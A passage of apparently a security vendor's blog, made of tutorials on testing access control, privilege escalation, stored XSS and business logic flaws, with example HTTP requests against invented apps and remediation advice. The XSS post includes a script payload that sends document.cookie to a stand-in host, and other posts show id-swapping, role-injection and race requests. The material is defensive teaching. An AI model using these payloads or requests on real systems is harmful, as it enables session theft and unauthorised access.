    If a check on the path forces the value into a safe shape, the tainted value never reaches the sink in a dangerous form. An isdigit guard followed by int(uid) makes SQL injection impossible, so the flow is broken and no alert should fire. Parameterized queries, allowlists, and escaping functions break the chain the same way, as long as the analysis recognizes them.

    Why use a code property graph for this?

    Tracing one function by hand is easy, but real bugs cross many files, imports, and helper calls. A code property graph models declarations, calls, and data edges from a real parse, so a single query can walk from a source to a sink across the whole tree without a rename or alias hiding a caller. You can see one open implementation in lachesis on GitHub.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • How to Test Access Control: A Step by Step Method for Web Apps and APIs

    How to Test Access Control: A Step by Step Method for Web Apps and APIs

    Access control is the control that fails most often and the one automated tooling is worst at checking. The reason is simple: a broken access control request is not malformed, so there is no bad pattern to detect. Deciding it is a bug requires knowing who was supposed to be allowed. This guide covers how to test access control in a web application or API, in an order you can actually work through, and what a correct result looks like at each step.

    Before you start: build the matrix

    Access control testing is comparison testing, so the first job is having things to compare. You need accounts and you need an inventory.

    • At least two accounts at the same level, so you can test one member against another. A single account cannot reveal a horizontal bug.
    • One account per privilege level the product has: member, administrator, billing owner, support, and anything internal.
    • Two tenants if the product is multi tenant. Two workspaces owned by different people is the only way to test the boundary that matters most to your customers.
    • A list of objects and who owns them. Note the ids created by each account. You will use this constantly.
    • A capture of normal traffic per level. Drive the application as each account with a proxy or the browser network tab recording. That capture is your test suite.

    Write down, in one table, which roles are meant to be able to do what. Most teams have never written this down, and the act of writing it usually surfaces two or three rules nobody had agreed on.

    How to test access control, step by step

    1. Swap object ids between accounts

    Signed in as user A, request the objects owned by user B. Change the id in the path, the query string, the JSON body, and any header that carries one.

    GET /api/notes/4121
    Authorization: Bearer tokenForUserA
    
    expected: 403 Forbidden or 404 Not Found
    finding:  200 OK with user B's data

    Repeat per verb, because read and write are authorized separately. A GET that is correctly denied says nothing about the PATCH or DELETE on the same object.

    2. Replay privileged requests with an unprivileged token

    Take the capture from the admin account and send those exact requests with a member token. This is the fastest test in the whole list and it finds the most serious bugs, because a route that only checks that you are signed in will answer anyone who is.

    3. Try to write fields you should not control

    Add attributes to bodies that do not document them, then read the record back to see whether the value stuck.

    PATCH /api/users/me
    { "display_name": "Sam", "role": "admin", "workspace_id": 9 }

    The usual candidates are role, is_admin, plan, scopes, owner_id, tenant_id, and verified. A response that echoes your value back is not proof on its own. Fetch the object again as a different account to confirm the change persisted.

    4. Follow every object into its quiet paths

    The direct fetch is the route people remember to protect. The same record is usually reachable through several others.

    • List and search endpoints, which often filter in the interface rather than the query
    • Export and report jobs, which run in the background with service credentials
    • File downloads and signed links, where the link may outlive the permission
    • Notification emails and webhooks, which quote object contents to whoever is subscribed
    • Older API versions still routed and no longer maintained

    5. Test permission over time, not just at one moment

    Access control has a lifecycle, and testing at a single point misses the whole class of stale authority.

    • Demote an account, then reuse the token it was issued before the change
    • Remove a member from a workspace, then replay their earlier requests
    • Cancel an invitation, then accept it
    • Delete an object, then request it directly by id, and check restore and undelete paths

    6. Check the tenant boundary explicitly

    With an account in workspace A, try to read, write, and invite into workspace B. Then do it through the quiet paths from step 4. Cross tenant leakage is the finding that ends enterprise deals, and it is frequently absent from an application’s test suite entirely.

    A correct response is a denial you can prove, not the absence of a link in the interface. If the button is hidden but the endpoint answers, the control does not exist.

    What a correct result looks like

    • 403 or 404 on every unauthorized request. Prefer 404 for objects the caller should not know about, since a 403 confirms the record exists.
    • Denials that come from the server, reproducible outside the browser with a raw request.
    • Consistent answers across paths. If the direct fetch denies and the export includes the record, the control is not enforced, it is decorated.
    • A test per object route asserting that user A cannot reach user B’s object. Without these, the next refactor quietly reopens what you just fixed.

    Where automation helps and where it does not

    Scanners are good at the parts with a signature: missing authentication on a route, a directory that lists, a known vulnerable component. They struggle here because every request in this guide is legal. The tool has no way to know that note 4121 belongs to someone else, or that only the billing owner should change a plan. That knowledge is specific to your application and it does not exist anywhere in the code in a checkable form. More on where scanners stop and research starts is here.

    What can be automated is the part that is mechanical once the intent is understood: holding several identities at once, enumerating every object and route, and replaying each request as each account. That is a lot of combinations and exactly the sort of work people skip when a release is due. It is also the direction we are building in. As an early signal, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. We are still early and it needs supervision, but the shape of the work suits a system that can reason about what an application is for rather than what its inputs look like.

    If you do only one thing from this guide, do step 2. Record what an administrator does, replay it as an ordinary member, and see what answers. It takes an afternoon and it finds the bugs that matter. Read more about how UnboundCompute works.

    Frequently asked questions

    How do you test access control in a web application?

    Create at least two accounts at the same level plus one per privilege level, record the objects each one owns, and capture the normal traffic of each. Then run six checks: swap object ids between accounts, replay admin requests with a member token, try to write fields such as role that you should not control, follow each object into list, export and download paths, retest after permissions change, and probe the tenant boundary. A correct application answers 403 Forbidden or 404 Not Found every time.

    What is the fastest access control test to run?

    Record everything an administrator account does, then send those exact requests using an ordinary member token. It takes an afternoon and it finds the highest severity issues, because any route that checks only that you are signed in will answer whoever asks. Hiding a button removes the path a normal user takes to an endpoint, not the endpoint itself.

    Why can scanners not find access control bugs?

    Because the requests are legal. Every field has the right type, the session is valid, and the response is a clean 200 OK. A scanner works by comparing traffic against known bad patterns, and there is no pattern here to match. Knowing that a particular record belongs to a different user, or that only a billing owner may change a plan, is knowledge about your specific application that does not exist in the code in any checkable form.

    How many test accounts do I need for access control testing?

    At least four in most products. Two accounts at the same level, because a single account cannot reveal a horizontal bug where one member reads another member’s data. One account per elevated level, such as administrator or billing owner. And if the product is multi tenant, a second workspace owned by an unrelated person, since cross tenant access is the failure customers care about most and the one least often covered by an existing test suite.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Privilege Escalation Examples: Five Ways an Ordinary Account Becomes an Admin

    Privilege Escalation Examples: Five Ways an Ordinary Account Becomes an Admin

    Privilege escalation is what happens when an account ends up able to do something its permission level was never meant to allow. In web applications it is rarely one dramatic exploit. It is usually a small gap in how permission is assigned, cached, or trusted, reached by a request that looks entirely ordinary. These privilege escalation examples come from an invented workspace app, each with the request that causes it and the reason the check failed.

    Horizontal and vertical escalation

    Two directions are worth naming before the examples. Horizontal escalation means acting as a different account at the same level, such as one member reading another member’s records. Vertical escalation means gaining a higher level, such as a member becoming an administrator. They matter separately because a chain often runs horizontally first and then vertically: take over any account, discover that one of those accounts is an admin, and the second step is free.

    Five privilege escalation examples

    Acme Notes is an invented team workspace with members, administrators, and a support tool. Every request below is authenticated and well formed.

    1. Promoting yourself through a profile update

    The profile endpoint saves whatever fields arrive, because it was written to be flexible about which ones the form sends.

    PATCH /api/users/me
    Authorization: Bearer tokenForMember
    { "display_name": "Sam", "role": "admin" }
    
    200 OK
    { "id": 12, "display_name": "Sam", "role": "admin" }

    The endpoint is the caller’s own record, so an ownership check passes. What is missing is a rule about which attributes a caller may write to their own record. Permission fields must be server decided, and a handler that binds a whole request body to a model will not know the difference.

    2. Choosing your role when accepting an invite

    An invitation is emailed with a token, and the acceptance endpoint reads the role from the request rather than from the invitation record.

    POST /api/invites/accept
    { "token": "inv_9f3c...", "role": "owner" }
    
    201 Created
    { "workspace_id": 7, "user_id": 4310, "role": "owner" }

    The invitation said member. The server never compared the two, so the invited person picks their own level. The same pattern shows up wherever a value that was decided earlier is resent by the client later, including plan tiers, seat counts, and approval states.

    Most escalation bugs are not a broken permission check. They are a permission that the server let the client supply in the first place.

    3. Escalating by taking over a higher privileged account

    The email change endpoint updates the address immediately and sends a verification link afterwards, and password reset uses the current address on file.

    PATCH /api/users/88/email
    Authorization: Bearer tokenForMember
    { "email": "attacker@example.com" }
    
    200 OK
    { "id": 88, "email": "attacker@example.com", "verified": false }

    Two failures compound here. The endpoint took an id from the path without checking it belongs to the caller, and the account switched to an unverified address that password reset still trusts. Neither is an escalation on its own. Together they turn any member into whichever account they choose, and account 88 happens to be an administrator.

    4. Permissions that outlive the change

    An administrator is demoted to member. Their existing token still carries the old claims, and the service reads role from the token rather than from the database.

    GET /api/admin/users
    Authorization: Bearer tokenIssuedBeforeDemotion
    
    200 OK
    { "users": [ ... ] }

    The permission model is correct and the enforcement is stale. Any place that caches authorization, such as long lived tokens, a session copy of the role, or a permissions list computed at login, keeps granting access after the decision behind it changed. Offboarding is where this hurts most.

    5. A support tool with no separate guard

    Support staff can view an account as its owner to reproduce issues. The impersonation endpoint checks that the caller is signed in and assumes only staff can reach it, because only staff see the button.

    POST /api/support/impersonate
    Authorization: Bearer tokenForMember
    { "user_id": 88 }
    
    200 OK
    { "session": "eyJ...sessionAsUser88" }

    Internal features are frequently built with lighter checks than customer facing ones, on the assumption that only internal people will call them. Impersonation, feature flag toggles, data export, and replay tools are worth reviewing first, because each one converts a normal account directly into another account.

    How to test for privilege escalation

    • Hold accounts at every level. Two members, one admin, and, if the product has them, one support account. Escalation testing is comparison testing and needs something to compare.
    • Replay privileged traffic downward. Record what the admin account does, then send exactly those requests with a member token. Anything that does not return a denial is a finding.
    • Add permission fields to bodies that do not document them. role, is_admin, plan, scopes, owner_id, and workspace_id are the usual candidates.
    • Change permissions and keep using the old session. Demote an account, then reuse its token. Revoke a seat, then call the API again. This catches the stale authorization class that point in time testing misses.
    • Look for the second step. An account takeover is only medium severity until you check whether any reachable account is privileged. Chains are where the real impact sits.

    None of these are found by matching a payload, because there is no payload. They are found by knowing which accounts exist, what each is meant to be able to do, and then checking whether the server agrees. More on access control bugs is here.

    How to prevent it

    • Allowlist writable fields per endpoint, so permission attributes cannot be set by a request even if they appear in one.
    • Read authority from the record, not the request. The invitation stores the role, so acceptance should use the stored value and ignore anything sent alongside the token.
    • Check authorization at the moment of use. If you must cache it, keep token lifetimes short and give yourself a way to revoke immediately.
    • Verify an email before it becomes the account’s identity, and invalidate active sessions and reset tokens whenever the address or password changes.
    • Guard internal tools like external ones. Impersonation deserves its own permission, an audit record, and ideally a second factor.
    • Deny by default, so a new route is unreachable until someone declares who may call it.

    Privilege escalation tends to be assembled rather than discovered: a writable field here, a stale token there, an id that was never checked, combined into a path from ordinary member to full control. Following that chain requires understanding how an application’s roles are meant to fit together, which is exactly what an autonomous researcher that reasons about application logic is built to do. Read more about how UnboundCompute works.

    Frequently asked questions

    What is an example of privilege escalation in a web application?

    The most common one is a writable permission field. A member sends PATCH /api/users/me with { "display_name": "Sam", "role": "admin" }, the handler binds the whole body to the user model, and the account is now an administrator. The ownership check passed, because the record really does belong to the caller. What was missing is a rule about which attributes a caller may write to their own record.

    What is the difference between horizontal and vertical privilege escalation?

    Horizontal means acting as another account at the same permission level, such as one member reading or editing another member’s records. Vertical means gaining a higher level, such as a member reaching administrator functions. Real incidents usually chain them: an attacker moves horizontally into any account they like, then checks whether one of those accounts is privileged, which makes the vertical step free.

    Can privilege escalation happen even when permissions are configured correctly?

    Yes, and stale authorization is the usual reason. If a service reads the role from a long lived token or from a copy stored in the session, an account that was demoted keeps its old access until that token expires. The permission model is right and the enforcement is out of date. This is why offboarding tests matter: change a permission, then keep using the session that was issued before the change.

    How do I test my application for privilege escalation?

    Hold accounts at every level, then compare. Record the requests an admin account makes and replay them with a member token, and treat anything other than a denial as a finding. Add fields such as role, is_admin, and scopes to bodies that do not document them. Demote an account and reuse its old token. Finally check whether any account you can take over is itself privileged, because that is where a medium severity bug becomes a critical one.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Stored XSS Example: How One Saved Comment Runs in Everyone Else’s Browser

    Stored XSS Example: How One Saved Comment Runs in Everyone Else’s Browser

    Stored cross site scripting happens when an application saves attacker controlled text and later writes it into a page as markup instead of as content. It is the most damaging form of XSS, because the payload waits in the database and fires for every visitor who loads the affected page. This stored XSS example walks through one comment field in an invented app, from the request that plants the script to the response that runs it, and then covers how to find and fix the same flaw.

    A stored XSS example, start to finish

    Acme Notes is an invented team workspace where members leave comments on a shared note. An attacker with an ordinary account posts a comment.

    POST /api/notes/4120/comments
    Content-Type: application/json
    Authorization: Bearer tokenForAttacker
    
    { "body": "<script>fetch('https://collector.example/c?d='+encodeURIComponent(document.cookie))</script>" }
    
    201 Created
    { "id": 771, "author_id": 88, "body": "<script>...</script>" }

    The API stores the string exactly as sent. Nothing has gone wrong yet, because storing text is not a vulnerability. The bug appears when the comment is rendered. The template writes the comment body straight into the HTML.

    <div class="comment">
      <span class="author">Sam</span>
      <script>fetch('https://collector.example/c?d='+encodeURIComponent(document.cookie))</script>
    </div>

    Now every colleague who opens that note runs the script with the full privileges of their own session. The attacker did not need to trick anyone into clicking a crafted link, which is what separates stored XSS from the reflected kind. The trap is set once and the application delivers it.

    What the attacker gets

    Reading cookies is the textbook demonstration, and it is the least interesting outcome. If the session cookie is marked HttpOnly, that specific line fails, and the rest of the attack does not care.

    • Actions as the victim. The script runs on the origin, so it can call the API with the victim’s session: change an email address, invite an account, export data. It does not need to steal a token to use one.
    • Reading what the victim can read. Anything the page can fetch, the script can fetch and send elsewhere.
    • Privilege escalation by patience. A payload planted in a support ticket or a user profile often ends up rendered inside an admin dashboard. This is sometimes called blind XSS, because the attacker never sees the page where it fires.
    • Persistence. The payload survives logouts and password resets. It lives in the data, so it keeps firing until someone finds and removes the record.

    Storing the text is not the bug. Rendering it as markup is the bug, which means the fix belongs at the moment of output, not the moment of input.

    Where stored XSS actually hides

    Comment boxes are the example everyone uses and the field most likely to already be escaped. In practice these bugs sit in the places nobody thinks of as user content.

    • Display names and profile fields, which get rendered in headers, mention lists, and notification emails.
    • File names from uploads, echoed back in an attachment list.
    • Support tickets and error reports, which are read by staff in an internal tool with far more privilege than the app itself.
    • Fields that pass through a second system, such as a webhook payload or an imported CSV, where the escaping done by the main app never applies.
    • Markdown and rich text, where the renderer is allowed to emit HTML on purpose and the allowlist has a gap, often around href values or embedded SVG.

    How to find it

    The method is to plant a marker, then hunt for every place it comes back.

    • Use a unique probe. Put a distinctive string such as acmeprobe7719 into every field you can write to, then search the whole application for it: pages, exports, emails, admin views, PDF reports.
    • Check how it comes back. Viewing the source is what matters. If the probe appears as text and the angle brackets arrive as &lt;, that output is escaped. If your markup survives intact, the field renders.
    • Match the payload to the context. Text inside a div, a value inside an attribute, and a string inside an existing script block each need a different break out. A probe that fails in one context can succeed in another on the same page.
    • Follow the data to other readers. The field you wrote may be safe in the interface you can see and unescaped in an internal dashboard you cannot. Long lived probes with a callback are how those are found.
    • Retest after refactors. A template switched from a safe helper to raw output reintroduces the bug without touching anything that looks like security code.

    Do this only against systems you own or have written permission to test. More on injection and input bugs is here.

    How to fix it

    The single rule is to escape on output, in the context where the value lands, and to let a template engine do it rather than doing it by hand.

    // unsafe: writes the value as markup
    element.innerHTML = comment.body;
    
    // safe: writes the value as text
    element.textContent = comment.body;
    • Keep framework escaping on. React, Vue, Django, Rails and others escape by default. Nearly every stored XSS bug in a modern app is a place where somebody opted out, through dangerouslySetInnerHTML, a raw HTML directive, innerHTML, or a raw filter in a template.
    • Escape for the right context. HTML text, HTML attributes, JavaScript strings, and URLs all have different rules. HTML escaping inside a href still allows a javascript: URL.
    • Sanitize rich text with a maintained library and an allowlist of tags and attributes. Writing your own filter is how onerror and SVG payloads get through.
    • Add a content security policy so that an injected inline script is refused even when escaping fails. Treat it as a second layer, not the fix.
    • Set HttpOnly and SameSite on session cookies. This blocks cookie theft, not the attack, since the script can still act as the user.

    Stored XSS survives in mature codebases because the injection point and the place it fires are usually in different files, often owned by different teams, and sometimes in different applications. Finding it means tracking where a value travels and how each destination treats it, which is the sort of end to end reasoning about an application that an autonomous researcher is built to do. Read more about how UnboundCompute works.

    Frequently asked questions

    What is a stored XSS example?

    A member of a shared workspace posts a comment whose body is <script>...</script> rather than plain text. The API saves the string, and the template later writes that body straight into the page as markup. From then on, every colleague who opens the note runs the script inside their own session. The attacker never has to send anyone a link, because the application itself delivers the payload.

    What is the difference between stored and reflected XSS?

    Reflected XSS travels in the request, usually in a query string, and only fires for someone who follows a crafted link, so the attacker has to get each victim to click. Stored XSS is saved by the application and served to whoever loads the affected page, which means it needs no social engineering, hits every viewer, and keeps working until the record is removed. Stored is the more serious of the two for that reason.

    Does HttpOnly on cookies stop stored XSS?

    No. Marking the session cookie HttpOnly stops the script from reading that cookie, which blocks one demonstration of the bug and none of its real impact. The script still runs on your origin with the victim’s session attached, so it can call the API as that user, change their email, invite an account, or read and exfiltrate whatever the page can fetch. Treat HttpOnly as damage limitation rather than a fix.

    How do I fix stored XSS?

    Escape at the point of output, in the context the value lands in, and let your template engine do it. Most stored XSS in modern applications is a place where somebody opted out of default escaping through innerHTML, dangerouslySetInnerHTML, or a raw filter in a template. If you must accept rich text, sanitize it with a maintained library and a strict allowlist of tags and attributes, and add a content security policy as a second layer for when escaping is missed.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: CSP Evaluator lets you paste a Content Security Policy and see which directives actually stop XSS. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

  • Business Logic Vulnerability Examples: Five Valid Requests That Break the Rules

    Business Logic Vulnerability Examples: Five Valid Requests That Break the Rules

    A business logic vulnerability is a flaw in the rules an application follows rather than a flaw in how it parses input. The request is valid, the session is real, every field has the right type, and the server still ends up doing something it was never meant to do. This post collects five business logic vulnerability examples from an invented shop, shows the requests that cause them, and explains why this class of bug survives the tools most teams already run.

    Five business logic vulnerability examples

    The examples below all come from Acme Store, an invented ecommerce app with a cart, coupons, refunds, and a free trial. Nothing here is injected or malformed. Each request is one a normal client could send.

    1. The client sends the price

    The add to cart request carries the product price, and the server reads it straight from the body instead of looking it up.

    POST /api/cart/items
    Content-Type: application/json
    
    { "sku": "LAPTOP-15", "quantity": 1, "price": 1.00 }
    
    200 OK
    { "cart_total": "1.00" }

    Nothing about this request is invalid. The price field is a number, in range, correctly typed. The app is broken because it accepted a value that only its own catalog should decide.

    2. A negative quantity turns a purchase into a credit

    Quantity is validated as an integer. Nobody stated that it must be above zero.

    POST /api/cart/items
    { "sku": "LAPTOP-15", "quantity": 1 }
    { "sku": "MOUSE-01", "quantity": -20 }
    
    200 OK
    { "cart_total": "-98.00" }

    A negative line item subtracts from the total. Depending on how the payment step handles a negative amount, this either discounts the order or issues money. The type check passed. The rule that a basket cannot contain less than nothing was never written down anywhere the code could enforce it.

    3. One coupon applied many times

    A discount code is marked single use, and the check is done by reading the coupon, confirming it is unused, and then marking it used. Two requests arriving at the same moment both pass the read before either writes.

    POST /api/cart/coupon   { "code": "SAVE20" }
    POST /api/cart/coupon   { "code": "SAVE20" }      sent in parallel
    POST /api/cart/coupon   { "code": "SAVE20" }
    
    200 OK
    { "discounts_applied": 3, "cart_total": "12.00" }

    This is the classic gap between checking a condition and acting on it. Each request individually obeys the rule. The rule only holds if the check and the update happen as one atomic step, which is a database property, not a validation property.

    Input validation asks whether a value is well formed. Business logic asks whether a well formed value still makes sense. Most applications only answer the first question.

    4. Skipping a step in the order flow

    Checkout is meant to run in order: create the order, take payment, then confirm. The confirmation endpoint trusts that the earlier steps happened, because in the interface they always do.

    POST /api/orders            { "cart_id": 55 }        creates order 9001, status pending_payment
    POST /api/orders/9001/confirm
    
    200 OK
    { "id": 9001, "status": "confirmed", "paid": false }

    The payment call is simply never made. The server moved the order to confirmed because it was asked to, without checking that the state it was moving from allowed that transition. Any multi step flow with a state field is worth testing this way, including onboarding, verification, and approval workflows.

    5. Resetting a free trial that was meant to be once per person

    Acme Store gives one trial per email address and checks for an exact match on the stored string.

    POST /api/signup   { "email": "sam@example.com" }      trial granted
    POST /api/signup   { "email": "Sam@Example.com" }      trial granted again
    POST /api/signup   { "email": "sam+2@example.com" }    trial granted again

    The identity the business cares about is the person. The identity the code compares is a string. Whenever those two differ, a limit that reads as once per customer becomes once per spelling. The same shape appears in referral bonuses, per user rate limits, and vote counting.

    Why these are hard to catch automatically

    Every example above produces a clean 200 OK. There is no payload, no error, and no anomaly in the logs beyond a slightly odd number. A tool that works from a list of known bad strings has nothing to match on, because the input is data the app was built to accept.

    Catching these needs knowledge that lives outside the code: a coupon applies once per order, a basket cannot hold negative items, an order is confirmed only after payment. Those are assumptions, and an assumption nobody wrote down is an assumption nobody enforced. That is also why these bugs tend to be found by people who first learned how the product is supposed to work. More on the basics behind these bugs is here.

    How to find them

    • Write the rules down first. For each feature, list what must always be true: one coupon per order, quantity above zero, refund never exceeds the amount paid. You cannot test an invariant you have not stated.
    • Then try the opposite of each one. Send the coupon twice, the quantity negative, the refund larger than the charge. The test is only useful if it attacks the rule directly.
    • Replay and reorder requests. Capture a normal flow, then send its steps out of order, twice, or in parallel. Skipping a step and repeating a step are two different bugs.
    • Change values the interface never lets you change. Prices, ids, totals, roles, and status fields are the ones worth trying, because the client is not meant to control them.
    • Test the identity, not the string. Try case changes, plus addressing, trailing spaces, and unicode variants against any per person limit.

    How to fix them

    • Derive money and permission on the server. Look up the price from the catalog, and never accept a total, a discount, or a role from the client.
    • Make the check and the write atomic. A conditional update or a unique constraint enforces single use, while a read followed by a write does not.
    • Enforce transitions, not just states. Confirm should refuse to run unless the order is in a state that allows it, checked in the same statement that performs the change.
    • Normalize before you compare. Decide what counts as the same person, then apply that rule at every place the limit is enforced.
    • Turn each confirmed bug into a standing test. These regress quietly during refactors, because nothing about them looks like security code.

    Business logic flaws are the bugs that require understanding the application rather than recognizing a pattern, which is why they are underrepresented in scanner reports and overrepresented in real incidents. Testing them means forming an idea about what an app assumes and then designing a request that breaks that assumption, which is exactly what an autonomous researcher built around application logic is meant to do. Read more about how UnboundCompute works.

    Frequently asked questions

    What is an example of a business logic vulnerability?

    A common one is a price the client is allowed to set. If the add to cart request contains { "sku": "LAPTOP-15", "quantity": 1, "price": 1.00 } and the server reads that price instead of looking it up in its own catalog, the buyer decides what things cost. Every field is the right type and the request is completely legal, which is what separates this class from injection bugs.

    How is a business logic bug different from a technical vulnerability?

    A technical vulnerability such as SQL injection or cross site scripting comes from input the application failed to handle safely, so there is a bad string to look for. A business logic bug comes from valid input used in a way the designers did not consider, so there is nothing wrong with the request itself. The first is a parsing problem and the second is an assumption problem, which is why they are found by different methods.

    Why do automated scanners miss business logic flaws?

    Scanners compare traffic against a list of known bad patterns, and these requests contain none. Sending a coupon three times, ordering a negative quantity, or confirming an order before paying all produce a clean 200 OK. To call any of those a bug you need to know the rule that was broken, such as one coupon per order, and that rule usually exists only in someone’s head or in a product document rather than in the code.

    How do I test for business logic vulnerabilities?

    Start by writing down what must always be true for each feature, then design a request that attacks each statement directly. Send the single use coupon in parallel with itself, set a quantity below zero, confirm an order without paying, and sign up again with a different spelling of the same email. Replaying, reordering, and skipping steps in a captured flow finds most of them, because these bugs live in sequence and state rather than in any single request.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Broken Access Control Examples: Five Requests That Should Have Been Denied

    Broken Access Control Examples: Five Requests That Should Have Been Denied

    Access control is the rule that decides who may do what to which object, and it is the rule applications get wrong most often. The bug is rarely exotic. It is almost always a check that someone assumed was happening somewhere else. This post walks through five broken access control examples in an invented app, shows the exact request and response for each, and explains how to find and fix the same gaps in your own code.

    Five broken access control examples

    All five come from the same invented app, Acme Notes, a small team workspace where people write notes, invite colleagues, and export their data. Every request below is well formed and authenticated. Nothing is malformed and nothing is injected. That is the point: these requests are legal, and the server answers them anyway.

    1. Reading another user’s object by changing an id

    User A is signed in and opens one of their own notes.

    GET /api/notes/4120
    Authorization: Bearer tokenForUserA
    
    200 OK
    { "id": 4120, "owner_id": 12, "title": "Q3 planning", "body": "..." }

    They change one digit and send the same token.

    GET /api/notes/4121
    Authorization: Bearer tokenForUserA
    
    200 OK
    { "id": 4121, "owner_id": 88, "title": "Salary review notes", "body": "..." }

    Note 4121 belongs to owner 88. The token proved who the caller is. Nothing proved the caller owns this note. This is the horizontal case, one user reaching another user’s data at the same permission level.

    2. Calling an admin route directly

    The Acme Notes interface only draws the admin panel for accounts with the admin role, so a normal member never sees a link to it. The endpoint behind it is still live.

    GET /api/admin/users?limit=500
    Authorization: Bearer tokenForUserA
    
    200 OK
    { "users": [ { "id": 12, "email": "a@example.com", "role": "member" }, ... ] }

    This is the vertical case. The route checks that you are logged in and forgets to check what you are. Hiding the button removed the path a normal user would take to the endpoint, not the endpoint. Anyone who has watched the network tab of an admin account, or guessed the route, can call it.

    3. Sending your own role in the request body

    Acme Notes lets a workspace owner invite colleagues, and the invite endpoint accepts a role. The signup endpoint accepts the same object shape, because both write to the users table through one shared handler.

    POST /api/signup
    Content-Type: application/json
    
    { "email": "new@example.com", "password": "...", "role": "admin" }
    
    201 Created
    { "id": 4310, "email": "new@example.com", "role": "admin" }

    The server took a field from the client that only the server should ever set. No id was tampered with and no route was hidden. The app simply trusted an attribute that decides permission, which turns the account creation form into a promotion.

    Every one of these requests is valid. The bug is not in what was sent, it is in the check the server did not run before answering.

    4. A secondary path with no check on it

    The direct fetch in example 1 gets fixed, and the team adds an ownership check to GET /api/notes/:id. The export job still runs the old query.

    POST /api/exports
    Authorization: Bearer tokenForUserA
    { "workspace_id": 7 }
    
    200 OK
    { "job_id": "exp_91", "status": "queued" }
    
    GET /api/exports/exp_91/download
    Authorization: Bearer tokenForUserA
    
    200 OK
    notes.csv containing every note in workspace 7, including notes owned by other members

    The background worker runs with service credentials so it can read across the whole workspace, and the request that started it was never checked against what user A is allowed to export. Search endpoints, list endpoints, report builders, and file downloads all fail this way. The check on the obvious route does not travel to the quiet ones.

    5. Enforcement that lives in the browser

    A member’s plan allows five notes. The interface disables the create button after the fifth, and the server never counts.

    POST /api/notes
    Authorization: Bearer tokenForUserA
    { "title": "Note 41", "body": "..." }
    
    201 Created

    Any rule enforced only by the interface is a suggestion. The same applies to fields the form marks as read only, to prices the client sends, and to steps a wizard performs in order. If the browser is the only thing enforcing it, a request sent outside the browser ignores it.

    How to find these in your own app

    Every example above is found the same way, by holding two accounts and asking whether one can reach the other’s things.

    • Create two users and one admin. Note the object ids each one owns. Most of this testing is impossible with a single account.
    • Swap ids across accounts. With A’s token, request B’s objects. A correct server answers 403 Forbidden or 404 Not Found. A 200 OK carrying B’s data is the finding.
    • Replay privileged routes with a normal token. Capture what an admin account calls, then send the same requests as a member.
    • Add fields the client should not control. Try role, is_admin, plan, owner_id, and workspace_id in bodies that do not document them.
    • Follow the object into every other path. Search, list, export, download, webhook, and email notification. Each is a separate chance to leak the same record.
    • Repeat per verb. Read access and write access fail independently, so test GET, then PATCH, PUT, and DELETE.

    None of this is pattern matching. There is no payload to detect, because the request is exactly what a normal client sends. Finding these bugs means understanding what each object is and who is meant to own it, then testing that assumption directly. More on access control bugs is here.

    How to fix them

    The common cure is to make the ownership question part of the query rather than a separate step someone can forget.

    def get_note(note_id, current_user):
        note = db.notes.find_one(
            id=note_id,
            owner_id=current_user.id,   # ownership is part of the lookup
        )
        if note is None:
            return Response(status=404)
        return Response(note)
    • Scope every query to the caller by default in the data layer, so an unscoped lookup has to be written on purpose.
    • Deny by default on routes. A new endpoint should be unreachable until someone states who may call it, rather than open until someone remembers to close it.
    • Allowlist writable fields so a client can never set an attribute that grants permission.
    • Give background jobs the caller’s permissions instead of service credentials, or check the request before the job is queued.
    • Write one test per object route where user A asks for user B’s object and asserts a denial. That is what stops the bug returning after a refactor.

    Broken access control is a logic bug, not a string in a payload, which is why it survives tools that look for known bad input and why it keeps topping the lists of what actually gets exploited. Finding it means knowing what an object is, who should own it, and proving the server agrees, which is exactly the kind of assumption an autonomous researcher that tests application logic is built to check. Read more about how UnboundCompute works.

    Frequently asked questions

    What is an example of broken access control?

    The clearest example is changing an id in a request. A signed in user calls GET /api/notes/4120 for their own note, changes it to GET /api/notes/4121 with the same token, and the server returns a note owned by someone else. The token proved who the caller is, and nothing proved the caller owns that object. Other common examples are calling an admin route with a normal account, sending a role field the server should set itself, and an export job that reads across a whole workspace.

    What is the difference between horizontal and vertical access control bugs?

    Horizontal means reaching another user’s data at the same permission level, such as one member reading another member’s note. Vertical means gaining a higher permission level, such as a member calling an admin only endpoint or setting their own role to admin during signup. They are found differently: horizontal needs two accounts of the same type, vertical needs a low privilege account replaying what a privileged account does.

    Why do scanners miss broken access control?

    Because there is no payload to match. The request is exactly what a normal client sends, every field has the right type, and the session is valid. A scanner comparing traffic against a list of known bad strings sees nothing wrong, because nothing is wrong with the string. Deciding that a response is a bug requires knowing who is meant to own the object, which lives in the intent of the application rather than in its code.

    How do I test my app for broken access control?

    Create two normal users and one admin, then note which objects belong to each. While signed in as user A, request user B’s objects and confirm the answer is 403 Forbidden or 404 Not Found. Replay every request an admin makes using a member token. Add fields such as role, is_admin, and owner_id to bodies that do not document them. Then repeat the whole exercise on search, list, export, and download paths, which are checked far less often than the direct fetch.


    Put an autonomous researcher on your own systems

